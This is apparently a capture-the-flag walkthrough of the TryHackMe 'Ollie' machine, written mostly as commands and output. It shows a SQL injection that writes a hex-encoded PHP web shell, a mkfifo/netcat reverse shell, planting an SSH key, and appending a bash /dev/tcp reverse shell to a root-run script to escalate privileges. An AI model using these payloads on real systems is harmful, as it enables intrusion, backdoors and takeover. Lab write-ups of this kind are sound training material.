# Ollie (SQLI, Permission)

First, we need to enumerate using nmap.

```bash
╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  nmap -A 10.10.20.38 | tee nmap.log
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-16 14:50 +0630
Nmap scan report for 10.10.20.38
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 2 disallowed entries 
|_/ /immaolllieeboyyy
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Ollie :: login
|_Requested resource was http://10.10.20.38/index.php?page=login
|_https-redirect: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.78 seconds
```

Rustscan result show me all open ports.

```bash
╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  rustscan -a 10.10.20.38 | tee rust.log

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
1337/tcp open  waste   syn-ack
```

When i answer random question on port 1337, i got some credentials.

```
╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  nc 10.10.20.38 1337
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? mrhnl
What's up, Mrhnl! It's been a while. What are you here for? getsystem
Ya' know what? Mrhnl. If you can answer a question about me, I might have something for you.


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? duck
You are wrong! I'm sorry, but this is serious business. Let's try again...


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? wolf
You are wrong! I'm sorry, but this is serious business. Let's try again...


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

                    Username: admin

                    Password: OllieUnixMontgomery!

PS: Good luck and next time bring some treats!
```

When I login using this creds on <http://10.10.20.38>, I successfully login.

![](https://3195204546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYnmgM84K6waQFS6qE5%2Fuploads%2FjIKrTxeMosbSPU4yHiry%2FScreenshot%20from%202022-04-16%2014-56-23.png?alt=media\&token=fcdf2746-a061-47e2-84fa-95f758fa7f9f)

After this, we will see the admin dashboard.

![](https://3195204546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYnmgM84K6waQFS6qE5%2Fuploads%2FYWDWpR6fbTLMwcIwVZIP%2FScreenshot%20from%202022-04-16%2014-57-31.png?alt=media\&token=2ca49933-2695-4cde-a889-46c4576d71d2)

Here is the article for poc <https://fluidattacks.com/advisories/mercury/>. You can read ubuntu version through SQLI.

![](https://3195204546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYnmgM84K6waQFS6qE5%2Fuploads%2FSFY3ZmYk2OciLAz6IRNE%2FScreenshot%20from%202022-04-16%2015-13-10.png?alt=media\&token=1e0165a0-c38c-48fd-98b1-4f8b23919cd6)

Check if user have read or write access. You will see all is Y.

```bash
" union all select 1,2,3,group_concat(user,0x3a,file_priv) from mysql.user -- -
```

Write evil php on the system. We got error, it is still ok.

```bash
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/rev.php' -- -
```

We can check our RCE is success or not?

```bash
╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  curl http://10.10.20.38/rev.php\?cmd\=whoami
1	 www-data
 	3	4
```

Get a shell from victim using mkfifo.

```bash
curl http://10.10.20.38/rev.php\?cmd\=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.9.0.180%209001%20%3E%2Ftmp%2Ff
```

In netcat session, we got reverse shell.

![](https://3195204546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYnmgM84K6waQFS6qE5%2Fuploads%2FYwWPETdZA4oq6jYOZTO8%2Fcarbon.png?alt=media\&token=d49d75ee-dbcd-4da0-a37b-06b2fd497a83)

We found user.txt on `/home/ollie`. The only one we got is permission error.

```bash
$ cat user.txt
cat: user.txt: Permission denied
```

We can move to ollie user, with the password that we seen in previous task.

```bash
$ su ollie
Password: OllieUnixMontgomery!

whoami
ollie
```

Which stable shell, we generate ssh key and write on victim.

```bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHmsE/qACwaksUEoBvDE4wFu0/N5eZeNQEX9upOp8Bh4KTZsUcMqo7OSdztZbvkSwwp0S6C3mk9WLioJbQ2dDFC64ZyT/LUAgNZgZkSRZtufQa9lhUgqNYhg/0oT1juH5rGTJhoGa8MROpRhp/LiKXw8g4wOQggrG+xqrnCG84PCcb0bq73XW7XMYN9koLXokwl3GSlX/AkSn3VWgBcnj73IX2eI2yvYSAzckYyWeu9fR6EX/j8Rfj3Z7Tsy0W4iuhHwSGPJHX8yDms9Sx07nQmMGGKW+RmQ6p1dqDt9g/R1L2aXDJLJnZOGzR4ZqdxFpyl3R/R026HXKyeSCSAvaE34GIzBowe6g9K4h/Ewe3zwIBlLW8TGq7L7EBPR2j6d2yYSbniH3GMio88N+vmF4E919gMMlgMqi4fJOhoy/l++4vuBqKAEpGEcywblNLw4YSe59dSBurrFeTNrC3O6CNyO8GyDtQ3wxNOGI7nMe7yOesabNTdz9qDRXdbpyXDwE= hnl@hnl" > /home/ollie/.ssh/authorized_keys
```

Let's login ssh using private key.

```bash
╭─hnl@hnl ~/Desktop/ctf/tryhackme/ollie  
╰─➤  ssh -i /home/hnl/.ssh/id_rsa ollie@10.10.20.38
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 16 Apr 2022 09:45:56 AM UTC

  System load:  0.45              Processes:                141
  Usage of /:   64.4% of 9.78GB   Users logged in:          0
  Memory usage: 45%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.10.20.38


6 updates can be applied immediately.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sat Feb 12 15:57:44 2022
ollie@hackerdog:~$ 
```

Nothing is interesting. So, we will check using pspy64, linpeas.

```bash
wget http://10.9.0.180:1234/linpeas
```

We can see suspicious process like feedme.

```bash
2022/04/16 10:00:00 CMD: UID=0    PID=73809  | /lib/systemd/systemd-udevd 
2022/04/16 10:00:00 CMD: UID=0    PID=73808  | /lib/systemd/systemd-udevd 
2022/04/16 10:00:39 CMD: UID=0    PID=73812  | ps -e -o pid,ppid,state,command 
2022/04/16 10:01:01 CMD: UID=0    PID=73814  | /lib/systemd/systemd-udevd 
2022/04/16 10:01:01 CMD: UID=0    PID=73813  | (feedme) 
2022/04/16 10:01:01 CMD: UID=0    PID=73824  | /lib/systemd/systemd-udevd 
2022/04/16 10:01:01 CMD: UID=0    PID=73823  | /lib/systemd/systemd-udevd
```

Find this file.

```bash
ollie@hackerdog:/tmp$ find / -type f -name feedme 2>/dev/null
/usr/bin/feedme
ollie@hackerdog:/tmp$ cat /usr/bin/feedme
#!/bin/bash

# This is weird?
```

Who own this file?

```bash
ollie@hackerdog:/tmp$ ls -lisha /usr/bin/feedme
10256 4.0K -rwxrw-r-- 1 root ollie 30 Feb 12 02:31 /usr/bin/feedme
```

Inject it.

```bash
ollie@hackerdog:/tmp$ echo "bash -i >& /dev/tcp/10.9.0.180/9002 0>&1" >> /usr/bin/feedme
ollie@hackerdog:/tmp$ cat /usr/bin/feedme 
#!/bin/bash

# This is weird?
bash -i >& /dev/tcp/10.9.0.180/9002 0>&1
```

In netcat session, we got reverse shell.

![](https://3195204546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYnmgM84K6waQFS6qE5%2Fuploads%2FnEAaUPwkBcPmBiF3aL4A%2Fcarbon%20\(1\).png?alt=media\&token=7ccdf1b5-94b9-4c67-8d98-f6566ec4c8e8)
